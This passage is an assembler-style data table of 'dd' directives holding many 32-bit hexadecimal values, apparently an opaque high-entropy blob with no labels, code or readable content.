dd 1BF1F4E2h, 7F7797EDh, 1A067310h, 0D8C6A45Ah, 0D184FA54h
dd 198FAB33h, 0CEE4BDF7h, 0B97528FEh, 0B25893A6h, 0FC70A0BFh
dd 0EEA8595Dh, 46106CD4h, 425294BEh, 43C3F638h, 26FE3F9Fh
dd 0A96BB61Bh, 87B018D7h, 93E53C0Ch, 7568B28Ch, 90D305ECh
dd 96508925h, 0D3EB43B2h, 4611E125h, 0BC5A76D9h, 307B101Bh
dd 0F6E9F85Eh, 0CB3537E4h, 9E4A455h, 744ECF39h, 4F5AC152h
dd 0FB9B58AAh, 0C724C908h, 229BAA48h, 0B5268D46h, 75FAA65h
dd 5D30D5B0h, 36B03B18h, 7B1D31A7h, 0FFA5A76h, 8861E3C9h
dd 0E85FA978h, 0B5C1B60Eh, 169EAF7Bh, 0D9850AD2h, 1F85BA7Ah
dd 58A944CDh, 89C2417h, 5EDED592h, 84B9CA0Fh, 0F924A3EAh
dd 0F2F067D3h, 2F615B8Ch, 1E4FA140h, 2D7F9073h, 8752E75Eh
dd 4613B4D8h, 0A7EC56Ch, 481C43BDh, 9E4E3C27h, 0A26C7CAFh
dd 0E07F20CDh, 6C07A38h, 97B6EA28h, 0DC977FEDh, 468C5F89h
dd 0E9C2523Eh, 0D9B91560h, 500A0A54h, 3019EC3Fh, 0A3E6D17h
dd 93C3059Ah, 0DCCA4943h, 0CDBCE67Fh, 0EDF0C745h, 0AA63A14Dh
dd 7960F06Ah, 9CF580DDh, 4B30A11Ah, 6CF97E66h, 9C051D11h
dd 0C50E9978h, 2799D51Bh, 266D6839h, 0BA8832DAh, 438715D6h
dd 0EE9BC57Dh, 4E01FB17h, 0D69E06A1h, 0F7552595h, 8523938Fh
dd 0DF29EF7Ch, 0E148FC6h, 491274ABh, 4BBCC6ECh, 47C9DC16h
dd 6C17F1BAh, 0A4BAF569h, 452B61EBh, 0BAA79E3Eh, 5A1DBEB5h
dd 68854D38h, 34215FBAh, 54A1210Ah, 6CB6FEBBh, 0E8E619C1h
dd 0D41A211Dh, 0A8755305h, 1E469D67h, 1D9E04CDh, 7CB1F8F2h
dd 220CC855h, 0A4278266h, 0BAA89C58h, 6D90B483h, 82996F55h
dd 2A52D3B4h, 2E712104h, 7C52DC2Eh, 0D20E6E5Eh, 0AD754217h
dd 62478EF8h, 43E3E517h, 0FC597F37h, 54A6AB37h, 41B00920h
dd 0CC8D739Dh, 0F476E8B6h, 0BE9852Dh, 0DAEEDF86h, 8C4678CCh
dd 0E5F39F8Eh, 0A480B0D6h, 0CE41E249h, 0FCB7E646h, 41011A59h
dd 59B9771Fh, 883446h, 3D53CAECh, 28F0D77h, 45C8E105h
dd 7B57C965h, 594E3851h, 4DF41B3Ch, 465D5068h, 67EE9E6Eh
dd 3BA38139h, 80F23598h, 36FCEE85h, 253BF5C6h, 9CB4BAF4h
dd 7203DC1Eh, 15797270h, 0B96EDBAEh, 55855512h, 29000D85h
dd 37CCA309h, 0E8AEC299h, 81F52339h, 0F5B77D55h, 9ADCB0F7h
dd 0B8403F38h, 60DF9CE9h, 4FF86F93h, 4E1D2ABBh, 0BFD40CA3h
dd 1C60FBAFh, 9E1EBD71h, 0E08F586Fh, 20A9F50Eh, 6E497F89h
dd 0BBFEF54Bh, 65A1BB49h, 45F7DA7Dh, 3F3FA039h, 59AE4974h
dd 0A3C6724Bh, 70E88D80h, 2B5BFD1Fh, 75786A1Ah, 0C072E6D2h
dd 0AA4F698Fh, 91199881h, 0EF85791Dh, 0D4EB71B6h, 8CA7C770h
dd 641F6E4Ah, 0CB93C755h, 208C50B9h, 57F85DBEh, 0C9DA1F96h
dd 0F946E71Dh, 85ABD838h, 0E386C17h, 3C574451h, 8CF4A2h
dd 5EA7B0F5h, 0DC293CFFh, 82958B9Eh, 0CF4D5F82h, 0CA71E34Eh
dd 81C46EC9h, 0B04D748Eh, 7F5E7D9Ah, 94120335h, 0D1661322h
dd 7E6AB15Eh, 229A1D2Dh, 4AFDB171h, 0F0AE773Eh, 776ADC66h
dd 0D9E95D76h, 64FF3053h, 0E8864D80h, 5793D114h, 0D90EE0EEh
dd 3957271Eh, 0AF47E4C3h, 0F1C55EF3h, 45FADC91h, 9AD18E64h
dd 12E5804h, 1BC3F227h, 66B407FEh, 8C7E3B55h, 0D2FC3D48h
dd 260D67E5h, 64DC282Ah, 0C51FE5CDh, 22DD0E87h, 0DBEF9DA8h
dd 41147E22h, 0DBF3FA76h, 0B871F91Ch, 0B449F705h, 434AB323h
dd 0BDECF6DDh, 0FB72E7B7h, 8F49D389h, 0FE53D9A9h, 0BD19888Dh
dd 3796B74h, 920B7A8h, 0E95D6FBAh, 0FAF17917h, 2EB30A78h
dd 5B670954h, 0F970EC39h, 0DCAAB79h, 90361908h, 0ED612310h
dd 0C3BDE93Ch, 0D21F2B52h, 6D60FDD6h, 922C5893h, 0A36A385Fh
dd 0F51EAA6Ah, 0DBB94C27h, 0D976C14Ah, 695C9703h, 0A625B672h
dd 0F09AF76Eh, 0FD44B56Dh, 65022C82h, 6F2FC03Fh, 0A3E2D2AFh
dd 0DD738D9Fh, 0A76D7E27h, 0E1E1C3E8h, 4FCAF8FCh, 6159F9ADh
dd 0C2BCF2E1h, 0E0D7A38Eh, 1CBE5D7Bh, 0CB10D48Eh, 2693B456h
dd 0E5009395h, 0DB711485h, 0E323A586h, 10CB4C2Fh, 0BF7010ABh
dd 27FC35E4h, 59CA9FBEh, 682DFDDAh, 1BD04B65h, 1B9AD7FCh
dd 0D62E3DB5h, 9846BD07h, 8AB1420Dh, 77EC0A8Dh, 1B4BB607h
dd 0E92884AEh, 6E91A82Ch, 167F3895h, 0D4AEFC2Fh, 9B10F439h
dd 58358CEEh, 0AC3CDF77h, 4591FBAh, 8354FE4Eh, 53C2EACCh
dd 0ECD9D28Ah, 0AF412211h, 31E910Dh, 0A44EBC54h, 0FFAA56BBh
dd 4F8E5BB1h, 4A3FC4E1h, 9E169830h, 20764457h, 734E476Eh
dd 8F35717Ch, 0BD779086h, 37B1E800h, 0F87C8F18h, 0A6D75928h
dd 75F0A20Ah, 2F6DC558h, 0C64AEDBCh, 0C56CF8B8h, 0CBF3999Eh
dd 4CE0BC2Ch, 1216AACBh, 2339316Ah, 42D08525h, 56C44EFCh
dd 540DF64Ch, 2CCCCEE9h, 26BE77h, 9A873023h, 0EFD370DBh
dd 0AFC77F16h, 0BBED987Dh, 46893454h, 0DD82ED8Ah, 3B6332BCh
dd 0B2AB6153h, 0E4E54275h, 53A1A29Ah, 7AB1BD9Bh, 1D3536AFh
dd 76891B4Dh, 0D96E6CEh, 0CE7D3A5Ah, 0CCE52A5Ch, 0FB2E19BAh
dd 0C68FEC23h, 0E2939E4Bh, 1C1FE0B9h, 8F0FEEDh, 0F2B9AB3Ch
dd 797C1133h, 0BC7C1C13h, 35511B34h, 3B627CF6h, 8D4B2E28h
dd 32942A0h, 283ABCCh, 9B9B12B3h, 0B8539A41h, 0C85F1F97h
dd 545F36A9h, 0F3DA5A5Dh, 1CCAAFBBh, 0BAF7DC8Ah, 0AF8CC24Fh
dd 0FD5B0490h, 5EEE74D5h, 3ACE5D59h, 0C7C0B859h, 0FF11C472h
dd 88B8F493h, 0B43CB408h, 0ACDCBB82h, 0EE4597F0h, 0CEA74C73h
dd 7EC7B907h, 94C0CF73h, 0A50B451Bh, 0C093343Eh, 9D6D0029h
dd 0B91B612Ah, 791EFC2h, 5384652Bh, 0D576613Dh, 0BBDEE4BBh
dd 6715D2Fh, 7B8A7674h, 0B086E6BCh, 268F88ADh, 59FA5A91h
dd 0FBAB023Fh, 148B1608h, 0DD4487E0h, 0E9BCF959h, 3C3148F7h
dd 65797547h, 0D3E49BC5h, 0B64A41F6h, 0B3D383C1h, 189D9CDEh
dd 1E4FA76Fh, 0C2B69B7Ch, 0C3252CD0h, 6ED551E7h, 2D55D9F8h
dd 0BE71B997h, 0E53CD0C2h, 15BF49DEh, 0AD5D9ED9h, 53C328A7h
dd 0C290631h, 0E1781757h, 4E6FD153h, 9B2CD928h, 0CEC053BDh
dd 62D3166Dh, 8CB90327h, 7804F127h, 0F4E9C944h, 0A76E0D6Fh
dd 60647C3Ch, 0A929B99Eh, 96993E11h, 6960AFCDh, 0B6E79CFEh
dd 0E0737680h, 0B630CD5Fh, 3DBB4190h, 6D0B52C8h, 0A578DE79h
dd 45EA7D61h, 7C1EF768h, 475CA05Ah, 0A0266F60h, 0DAC689D7h
dd 70D88FD1h, 4F03683Ch, 137622h, 72171B07h, 0BC07C472h
dd 7DC6D705h, 0E4D4CE0Dh, 0F48D8F7Ch, 0AED68F4h, 34533623h
dd 977C32h, 6D006C9h, 7CDF851Dh, 0B04179AFh, 0A7503D7h
dd 5DB541B2h, 0EB7B1A3Ah, 25C71E65h, 0ACF772EDh, 56323A9h
dd 1DBEB4F4h, 0B0D57B20h, 0BFB0E019h, 35CE9FA7h, 6EBB3437h
dd 0BBC083ECh, 40895E77h, 0B430F938h, 2D975759h, 86C8B39Ah
dd 84355B52h, 4F0DB5B4h, 50B1D8FBh, 6D0427Ch, 0CCE7A469h
dd 0FFA9A44Dh, 0F3B08113h, 9F0AF6CAh, 28C422Fh, 0EA63CB68h
dd 698FA89Bh, 0C61EE5h, 0D860A701h, 7E180CECh, 7B6B6D2Ah
dd 19EA41F6h, 9C67B2F8h, 0B9BB4998h, 0AB2FD85h, 0A431B06Ah
dd 3EC46B05h, 0C88529FFh, 40088BA4h, 1F1A49DFh, 4E436AEAh
dd 2A13756Fh, 0FE2BC7C6h, 0DBA0E3D4h, 0D682DFA2h, 6EA38FB7h
dd 0D451B6DCh, 72C650C0h, 4946F167h, 0F4CAEB7Ch, 7AA6849Bh
dd 35B77FD6h, 146D1921h, 255C8A26h, 0EC3CCFAAh, 780520B8h
dd 0DCC7B50Ah, 0DA3E8281h, 83C9C392h, 0A106086Fh, 0D1F28264h
dd 7087B5CEh, 7E406AFAh, 2BF08DC7h, 0F8258A0Ah, 0D79E92A9h
dd 77E115CCh, 0BCCE1BF6h, 36E6CC2Ah, 920FB5Dh, 948921AEh
dd 0F087BADDh, 0FF306748h, 0CC1FBF73h, 7824A065h, 5759BEF4h
dd 0D94CB71Dh, 0BCFCB3E1h, 0D1D31272h, 89F74FD8h, 551CBFE8h
dd 0CBCC3D0Fh, 581D2821h, 133A511Bh, 13BE3123h, 0C30831BFh
dd 0FB53A73Ch, 9381B774h, 3EFC3D8Eh, 6D8AF527h, 6ADB458Eh
dd 5B094432h, 762FA22Fh, 88638E42h, 0F55DAFAEh, 0B137FE78h
dd 0DF9CF097h, 0FADB47C6h, 262BDF7h, 0A826712Ah, 0FFF75D61h
dd 8BD34C3Eh, 16F214Ah, 0A1ED726Eh, 55872F5Dh, 0B7A0247Fh
dd 123726FDh, 0DC932CDCh, 25939BFh, 0EB6A39A1h, 0E4C3ADFCh
dd 43A46271h, 3E9AD755h, 797463D4h, 0CB560FBFh, 1F619A0Bh
dd 106955F4h, 34FC372Dh, 83D7F5BCh, 449F7A2h, 453D6A5Fh
dd 6F937DCDh, 1FCD8524h, 0E886E452h, 0E07E4118h, 5E29A6C7h
dd 51FE8639h, 14408EE5h, 0FB72ADC7h, 7A252AB7h, 294E72CCh
dd 0A260B2C3h, 0B13A5C2Ch, 93AE3870h, 61E0350Ch, 13CD61B6h
dd 6719EECh, 2E52C518h, 609C0EC8h, 5ACE8896h, 364AF51h
dd 8302480Ah, 332DE901h, 0D372259Eh, 0F33C777h, 0D92D8CF1h
dd 151759Eh, 439FA037h, 50FE4F0Bh, 0A24B0C67h, 6DC244E8h
dd 0E88360CDh, 559713EDh, 93B8F4A4h, 8F853E25h, 32532F4Eh
dd 0D8637B22h, 0DA1E6B7h, 8EE69722h, 1475E01Dh, 921B8BAEh
dd 10A3EA7Ah, 0B83B43E8h, 0B0A6539Eh, 0D1F20F11h, 0B8F04330h
dd 94E3F575h, 40EC1540h, 0AC020627h, 0FF0696B5h, 807FAAEDh
dd 0D5E7D0A3h, 6E9A50C7h, 202E1C8Ah, 60CFC457h, 66D1BA58h
dd 1DB6B650h, 3D8D8F78h, 0A6F06C17h, 4DD7E181h, 1A54B6EBh
dd 30F92D64h, 17FD2E38h, 0ACF61E96h, 6761B761h, 26CC95EDh
dd 0EAD6491Ch, 3B8AA46Dh, 0D62DB492h, 0C1C40FAh, 7EEBBADDh
dd 349840B9h, 1D346607h, 4DA0A267h, 0E5CB7479h, 0C994F464h
dd 3CF909F7h, 0B828F3C9h, 4261FE38h, 0FF67BBCAh, 0CF160481h
dd 0C3C261B8h, 63CC5BA4h, 8828283Eh, 1D425B89h, 80A47F2Ah
dd 901E9BF9h, 0A0CC1A54h, 377BC9D2h, 2E28F53h, 0BAB2222Bh
dd 7EAE45C0h, 12DB1BCh, 443A9164h, 0B016A73Eh, 0E46E8EA9h
dd 697DBEB4h, 97D1F981h, 0E6ED0E36h, 0F6852C5Dh, 3E98DE6h
dd 6D20B63Fh, 0B018F3DCh, 0D4670746h, 0D462625Dh, 0C4CB1DC2h
dd 38F8915Ah, 135302A5h, 5457AD25h, 77181C06h, 903A737Fh
dd 390A4DBBh, 0FDD8B9C6h, 315AA3D0h, 0DF2F924Bh, 4DF5D274h
dd 508DAED7h, 576EB846h, 857A9DB3h, 0BE9FCA3Bh, 74B87242h
dd 6A61AB64h, 864C8235h, 2FBABDEFh, 0C8379F3Bh, 0FE088F3Ah
dd 86D74F9Bh, 52E7B3CAh, 7DA66FC8h, 3812F7A3h, 0DBFEE6BFh
dd 0B3C23951h, 48D73029h, 9D320385h, 466B952Dh, 5208018h
dd 0AF3E7C69h, 0F48B51C6h, 11484831h, 2338514h, 9276DBA2h
dd 0A872BBE7h, 93B2DADEh, 9C0756ADh, 0A5E53A02h, 4F7802E9h
dd 2C793174h, 0D0873016h, 0DDDA122Bh, 44870002h, 4F4FFA90h
dd 1EB9357Ch, 53E66D8Dh, 5A3A7394h, 85D88728h, 0C62796D9h
dd 9AF093B2h, 356D262Eh, 0A5460661h, 0C5B9B01Fh, 43A20F3Dh
dd 7C8A7FA5h, 2E384F0Fh
dd 0B58D7CB4h, 0D0E1BBE2h, 5883E8CDh, 18DF7FAh, 0B44A112Eh
dd 7A2B504Dh, 0DC77B083h, 0E3F7FDA3h, 19FC4FFBh, 35590CC7h
dd 4DA042E8h, 0DFA1EE13h, 0DFE50BC5h, 18F6757Fh, 8D463ACCh
dd 537FE102h, 0CF63C136h, 6D8D81Dh, 0F2A70Dh, 0B890C14Dh
dd 3FBC7C67h, 37D39068h, 5E1BCD01h, 0DE03FD0Fh, 9B38583Fh
dd 0DAB7E01Bh, 0BC6FD355h, 0D72C40E1h, 62F3E09Eh, 0B900A59h
dd 9CAA7A06h, 0D15286C4h, 0B8CEA5E1h, 58D7A2DAh, 0F19B0641h
dd 0B84575CDh, 0BA504D39h, 2870D53Eh, 0BB9AEE23h, 0C3B5DF00h
dd 42596E4Eh, 152E5A02h, 40E2F500h, 74512FB6h, 0F104BDA3h
dd 0EBD05C2Dh, 5B2E312Fh, 566BE808h, 0EA5F1C8h, 6C02A181h
dd 0FAAFAD2Ch, 0C55C87Eh, 0AFA4F64Fh, 0F006D691h, 0EEDD1114h
dd 98B5FE7h, 7D272672h, 97ABDC96h, 60171D1h, 19D16C63h
dd 662CDA41h, 30162FF8h, 6CD2416Bh, 8CF27F10h, 6CDE7B79h
dd 7CAD5E7Fh, 48D96EA9h, 84CE1B2Bh, 0A2AE75E7h, 0C2FC0CE7h
dd 23CA24B5h, 2FF986Dh, 0B01A61BFh, 42411762h, 32DA51D9h
dd 3800F09Fh, 37987A0Dh, 98759D11h, 0F64C716Fh, 4754F85Ch
dd 716550A4h, 883C0FA7h, 0BFC846ACh, 605409FAh, 3D93F5E1h
dd 0AF368459h, 70B88F7Bh, 0B9F263C5h, 52DBE219h, 8265E063h
dd 7B216ACh, 0C238EE03h, 0DEA7E7EAh, 900D1026h, 0A5A382BDh
dd 6305165Ah, 52716D17h, 4D5A1A80h, 9A140F47h, 0CEF4BF85h
dd 87F52F96h, 0BCE07201h, 6E98B809h, 579C7E16h, 3A85E7ADh
dd 8738A333h, 75C3AC87h, 1093E28Bh, 99E07238h, 0D117DEDDh
dd 788DBCC0h, 0DD5DE25Fh, 0AEB9C2DAh, 0EF07D742h, 43D5E721h
dd 68A84720h, 0C3AABFE5h, 0E4A3B87h, 0E85A991Ah, 0E7B4669Bh
dd 0C546889Ch, 0E003FB9Eh, 0AE5C3A15h, 0CDC180EFh, 8C9825DBh
dd 4916653h, 42C8D333h, 86BFBC0Dh, 742098F7h, 7BAC927Dh
dd 6C7DB1AEh, 0FD719DC7h, 9E841679h, 51B001CCh, 0B7193F3Fh
dd 63C97A72h, 0DDCE592Bh, 30376760h, 0C3FAE90Dh, 6B5581D5h
dd 0DB815529h, 0B4A9EFCCh, 4C6F8644h, 7B04D1D1h, 0BFDAE833h
dd 4142B59Fh, 6E9D23D6h, 8844A604h, 0CA981910h, 55E34CCDh
dd 2EF0C57Bh, 0F283C1E5h, 0A3F6E8A5h, 1871003Dh, 84B522BBh
dd 70F1512Bh, 38F68A47h, 1C64A10Fh, 2627FA5Ah, 0E4DAC27Dh
dd 571751C7h, 6B5FAB7Ah, 5A540926h, 87C67C6Ch, 2E0D61AFh
dd 0C9B2E84Ch, 4EB09887h, 15923FC1h, 8C628E74h, 65177A73h
dd 0BDDE9F2Ah, 1A7348CBh, 49591B3Bh, 9FD2883Ah, 0C2A50170h
dd 0DDC66EBBh, 4BA50E49h, 0E1485099h, 754D1075h, 0F43A3BF2h
dd 0E0D014B0h, 4977517Bh, 0E2E44223h, 9E05379Bh, 47588861h
dd 2FD6370Eh, 0D9A0D915h, 6ACE2167h, 271D33D3h, 81324191h
dd 0FCBD8247h, 0C4F0FF86h, 2DD0C1A1h, 7A53D4B8h, 0D209D4Dh
dd 12CB8230h, 431437FEh, 964CF28Fh, 0C4D5F04Fh, 7A150936h
dd 8EC15CFAh, 36BA61D5h, 1FFD1238h, 2901BC9Eh, 0DB2464E7h
dd 6FDC0617h, 707E659Ch, 79F7C2DBh, 3DECE394h, 897ECBB1h
dd 0CC4DD881h, 5DF200ACh, 0F635FB2h, 0AC0EF921h, 8331A838h
dd 7341DB9Eh, 35D3ACBAh, 1287FECAh, 0D229D722h, 90212732h
dd 5776BA59h, 4F932C5Ch, 10B25797h, 27931D47h, 0D7679867h
dd 4E7BB848h, 0CEDDE38h, 1A0A32B1h, 1C9C7E64h, 1C7A6289h
dd 64201EF7h, 77BF14A4h, 0C4333A28h, 90479165h, 51362406h
dd 1A9EF3DAh, 1AA061FAh, 8AF48F78h, 6A75FE9h, 0B88618C7h
dd 45A41D66h, 83022717h, 378DE8EBh, 0AD69A632h, 0BFAD1DF9h
dd 0B34F8789h, 5A9D3A10h, 5E495778h, 849AE52h, 0C4416014h
dd 9C47A2A0h, 0E3BFE284h, 0F68070E0h, 9E7A15A7h, 4B4E3AF4h
dd 79A423F0h, 0D88859FCh, 7791C5CAh, 9C5FC085h, 55F3551Bh
dd 0D6436936h, 2841D3E1h, 0ADC375BFh, 0B5C3FBD1h, 3E0823D2h
dd 7F950E7h, 0F8A269Fh, 47659D8Dh, 3BB9D77Ch, 31B30297h
dd 0EB033D89h, 71D09C5Eh, 6D7280A7h, 0B6CF7B18h, 9C9A3AB5h
dd 38F62D1Fh, 73609D31h, 3E662674h, 3E8491E9h, 738F0234h
dd 0D2371341h, 0A103947Fh, 2626FF08h, 95FB1C2Ah, 505A4D63h
dd 0BF18FCC4h, 0FB567AB3h, 0C331ED7Ch, 97B247DDh, 0DAD89877h
dd 0C898B1D1h, 4D02600Ah, 4B3AA992h, 957A579h, 0B2639657h
dd 0B1902E07h, 8591FF70h, 0D864F5DBh, 7FF4CF26h, 3525DFCBh
dd 31863179h, 0BE950ABFh, 0C0207F67h, 0B107B94Ah, 0EE34B9D2h
dd 0FF9B5D4Fh, 0C9853F7Eh, 7DB317CDh, 1052A083h, 0A69151CBh
dd 0C13587AAh, 9641A36Eh, 4FFFF132h, 2BE394AEh, 0D3264D24h
dd 0DA6B0FDh, 0BA67C6EAh, 0B61BCB64h, 0CC632C31h, 17A90C5Eh
dd 0BC1979A2h, 59758ACFh, 0A50A7FFh, 2893787Ah, 17E7D3C3h
dd 0B5488D01h, 202FDEEEh, 0B241178Ah, 5B968B4Fh, 793D8C1h
dd 793CE543h, 88016E2Ah, 8BE9729Eh, 9EFCA47Bh, 0F9B8FF49h
dd 43AC191Fh, 79B4549h, 0FB62A9BFh, 9106F6ADh, 79AF7217h
dd 802E848Fh, 0A7B06E5Fh, 1C857E5Dh, 5052CBF9h, 0D603D23Ah
dd 0E6BC3h, 0DE16BB79h, 0DA1C1488h, 0D840061h, 0F803D195h
dd 4ABE4147h, 2D1E7A7Dh, 1A501559h, 56DDFAF4h, 1A8538C4h
dd 4E413FB2h, 530732DBh, 0B7D8CF10h, 7768EC7Eh, 30F75788h
dd 7647A499h, 4A0051C1h, 817A3929h, 30B07456h, 122B0ABAh
dd 0C3E1C05Dh, 0BB967CB1h, 0F3B3BC11h, 0D139A00Fh, 0E0C38F46h
dd 9C6263h, 0E50F627Ch, 3BA7F923h, 3E379162h, 0ECB6F7D4h
dd 92338C34h, 8A6FD307h, 5F15F337h, 159C8EF7h, 0D46D903Ah
dd 724A49EDh, 2A3D0427h, 6A8527BAh, 0DDB51A25h, 339AE887h
dd 6D1DC0A4h, 2BD788DEh, 8BB34EE7h, 64C199EAh, 0AFBC968Eh
dd 0F38928FBh, 0AF75439Eh, 0BACC0874h, 0AE921E4h, 34EB5A15h
dd 7BAE6F60h, 1B509E99h, 4F91C28Eh, 7D8CE006h, 74A9C17Ch
dd 97A894B6h, 0A625EEB1h, 1A274B7h, 0A2261C67h, 9CCEAD43h
dd 0B331CA05h, 57412147h, 4B2FEC30h, 3B2E62BCh, 385FD5E8h
dd 0CB8307AEh, 4AC310FDh, 5A2E8A10h, 402DDF63h, 0D6152398h
dd 89C849B8h, 70A17712h, 0FF14B8F8h, 0DCA57D52h, 0DB505819h
dd 8FB8D513h, 3A61897Ah, 5C9BA130h, 0BC41A1A7h, 1D394422h
dd 0AE9051EDh, 0FA3CFD2Dh, 56F483F0h, 2189B1EDh, 0F9EC659Eh
dd 2B08997Bh, 0A3074FB7h, 2B16F0CDh, 0BCB8DD70h, 50D5A60h
dd 1E473205h, 7382E485h, 208FEF13h, 48B80D96h, 0C2D52119h
dd 27FFBD8Fh, 44A469E2h, 0CB9B55BBh, 90FC9B86h, 3175FC34h
dd 3607949Dh, 0F4333Bh, 1BE53939h, 0CDFFDF9Eh, 9389254Bh
dd 3C80D2BBh, 0F6A48443h, 0BCB4C6B6h, 46FBF2D1h, 0BD11A1CAh
dd 1BE71DC0h, 0B306FE69h, 23159663h, 2020A16Ch, 9C47E584h
dd 724BE70Bh, 0B95D2B7Ah, 158CAB2Bh, 0FABDF148h, 184327F9h
dd 254B046Fh, 0EC79141Ah, 0E852B57Bh, 0D5497D91h, 86529CDFh
dd 37090AC7h, 210F3885h, 4E16F11Eh, 0F16E8861h, 642190B2h
dd 8AE74333h, 0F65F4D04h, 0CD33F388h, 0C007260Dh, 35DD7116h
dd 15032788h, 3E588CFAh, 0F3BC3D8Eh, 0C3A7AD8Bh, 6E2A754Ah
dd 7FE3C782h, 0A6F8D526h, 0D00B8E7Eh, 0FE11A548h, 0EB4B1387h
dd 0E771049Ah, 840A9192h, 0B6094C76h, 0FCAD8C1h, 9F544A54h
dd 7B719EA1h, 0CE18DC22h, 0DD39A9D7h, 88958438h, 5BA3F059h
dd 7F71AA3Ah, 95E06D41h, 0FB55E228h, 6BDBF6B6h, 0D0076FDFh
dd 7FA02F86h, 0BD73E93h, 3A9EF0FDh, 0B97CFC32h, 33E6EAE0h
dd 92BA9E49h, 6709562h
dd 0A909AD8Ch, 281B1F72h, 0A5C4D365h, 0C0B780AEh, 3AA33E31h
dd 0BEE4DE06h, 1D52502Fh, 0CF6AA412h, 6772813Eh, 77D4FC61h
dd 4714B060h, 0B0E8A6AFh, 0C9FA24ADh, 7AAF5268h, 21ADAAD9h
dd 185B57h, 7BA8AFC3h, 166E8002h, 4FB8490Eh, 0B478ECD1h
dd 2513AB0Dh, 0E7D2A42Fh, 622E048Fh, 267AFF3h, 39FE6D8Eh
dd 18A68E7h, 5D0F26AEh, 0DC2738F2h, 0DB54F3B5h, 0FEC359E0h
dd 8AF0154Fh, 0E19008F8h, 0EFBBC06Ch, 4481F77Eh, 65462BE5h
dd 7F699002h, 0EB56F134h, 0DF1B5B5Dh, 0DD827A98h, 6E81BB18h
dd 1AB88C28h, 3B76C1D4h, 2EAE81DEh, 5399D3DCh, 0F1DE92CFh
dd 19C0A54h, 7C4CB170h, 4966A466h, 56ED8BA2h, 1955D86Ah
dd 18659D86h, 0A8FE5461h, 38AA6F8Fh, 0E8595B4Eh, 0D5CD2638h
dd 6660F8DEh, 4A0497F2h, 841D0A1Fh, 0D851F9F0h, 9C80644Ch
dd 0F9BD2994h, 8C4BE259h, 3DCB1BDFh, 0CE356775h, 525687B6h
dd 9987F0C7h, 0B51829DBh, 0CDAB11FBh, 2F62A773h, 42B4D03Fh
dd 0D812469Eh, 0A2DE897Ch, 441E3AC9h, 1C79CEEFh, 2DD45D04h
dd 68B66AB3h, 9E4311FAh, 1B107315h, 0E93401CEh, 9FB866CDh
dd 0D925D3F6h, 0FC68026Bh, 90599CABh, 58B9E978h, 78786A12h
dd 17F4509Fh, 0C3A40658h, 6E22FFB5h, 0D4809746h, 0D31307CEh
dd 0A6C56A60h, 22C2B7E1h, 739941E5h, 93E15137h, 0CFC43566h
dd 9C4762Dh, 0C3D0824Ah, 0E32D2753h, 5E5D6C14h, 77827058h
dd 0DA5D597Dh, 947935C7h, 30B1D98Bh, 86BD2542h, 3A87B321h
dd 706FC303h, 0EB97E085h, 87FDE799h, 4967AB73h, 5A556FA4h
dd 0D5E5487Ah, 677E9647h, 8B4F8382h, 11BF4ED6h, 54BA83E2h
dd 0C1C655BFh, 2BF7595Eh, 0CB8283EAh, 6EB5CCDDh, 8C79E532h
dd 0F1F4F5EEh, 92E3D94Bh, 5170AC1Dh, 1655635Eh, 0E00FFEB2h
dd 0F05BA4EEh, 90037569h, 0D571D6B3h, 0C31EA321h, 0E2215139h
dd 4074979h, 0C7A6C1E9h, 4ED2363h, 0EAA39290h, 915307E2h
dd 74A7463Eh, 6C92F70Fh, 308F18D9h, 0EE714B84h, 8AC58CE7h
dd 1D0B9E1Ah, 2DD2D55h, 0C1ADD1EBh, 0DE4338A3h, 69F6DF63h
dd 26CF3BDCh, 3C077088h, 0B7A18216h, 3B0C9BDDh, 0F1456889h
dd 0E06A23F1h, 6E8C59DDh, 3019C1DAh, 0B970B292h, 0D4039427h
dd 8DDAB8EEh, 9B979219h, 36E6F940h, 0EC17B10Ah, 0BFD048DDh
dd 0C3BD2C39h, 81B2103h, 9D7481D7h, 28CA89BFh, 86BFDA0Eh
dd 355619FFh, 930DE39Bh, 0F17F465h, 0D2CE8DD2h, 31A47B2h
dd 0D731901Eh, 0F22618C0h, 7A085598h, 0E589D81Dh, 3491771Ch
dd 5E56ED33h, 24E5B268h, 9C5F4B9Eh, 4BB9216Fh, 0F628D115h
dd 23970F10h, 0CB9E7F21h, 1C6D7D56h, 4E36393Ch, 0A323D4EDh
dd 0D50CD5F1h, 0E6960F62h, 0A386F5CBh, 0F8F320B1h, 0F11D02Dh
dd 0F7FCDD9Ch, 2DA5F332h, 5FDC480h, 7639BCCFh, 0DCCBD55Fh
dd 0AEFA97F5h, 0A9D39048h, 0D9D098B9h, 378D427Eh, 90360AD9h
dd 169A9ACEh, 6DD8DB4Ch, 314B46C8h, 390EBCA5h, 0E1FB8A70h
dd 4D4EC398h, 4E62A110h, 0A3A4FF19h, 2BF66888h, 0D9C9F087h
dd 5156B543h, 0A4639CD9h, 0AECC1225h, 41CF14A9h, 6EBF2960h
dd 78FE6F1Dh, 99039A8h, 0BBDF01C0h, 866E60AFh, 96243CCh
dd 47605D5Dh, 0F9068743h, 362CB279h, 5BD9FE83h, 0EFF377E2h
dd 492A6462h, 0A6FFC59Fh, 0F59D0012h, 33536D5Bh, 3B6457h
dd 7301E490h, 5922BFAFh, 0D908852Eh, 7E38BB4Eh, 98E72E76h
dd 0E226395Bh, 0F399FF3Dh, 0E02DB6A0h, 8D8F9B14h, 0A59794E9h
dd 0F26EFDh, 0A6CECEDEh, 9B680B04h, 0B2DAFBA7h, 43D30C86h
dd 0CC4B85E6h, 0B8B753Dh, 0E07508D9h, 19E01AD5h, 0C917EF62h
dd 0AA095078h, 9B2D6C7Bh, 2DFE9923h, 8A4551Bh, 0AEE0343Ah
dd 0EA93B462h, 211F04F6h, 0AD298298h, 0B3066B99h, 9E3BCA1Dh
dd 91DAE8BEh, 5C8B2786h, 0F6FBB158h, 0B11C6FA9h, 57238370h
dd 906D1DEFh, 76652F50h, 0AC890DECh, 0B7935A02h, 0DCE4B14Dh
dd 93A33B12h, 0FCBB482Ch, 8F2AB925h, 0F32C8D23h, 956C609h
dd 0E4E511FBh, 0B5C4E9B9h, 0C5F6381Bh, 9E704473h, 319794F8h
dd 0F77B827Dh, 0FE2B9034h, 543E3014h, 3D5533D6h, 75A36264h
dd 0B4FEFB69h, 5E9D6F67h, 0F2BDA576h, 0DD8710E6h, 0F685F2ADh
dd 1B1CF9C2h, 0CC895452h, 97307080h, 0A5541F63h, 213A441Bh
dd 2A1A0949h, 11D560B9h, 4ECDC242h, 3D137119h, 27CAEEB4h
dd 6397A97Dh, 3AA0FA7Bh, 0F917AFADh, 0B89F6B52h, 80CCAD34h
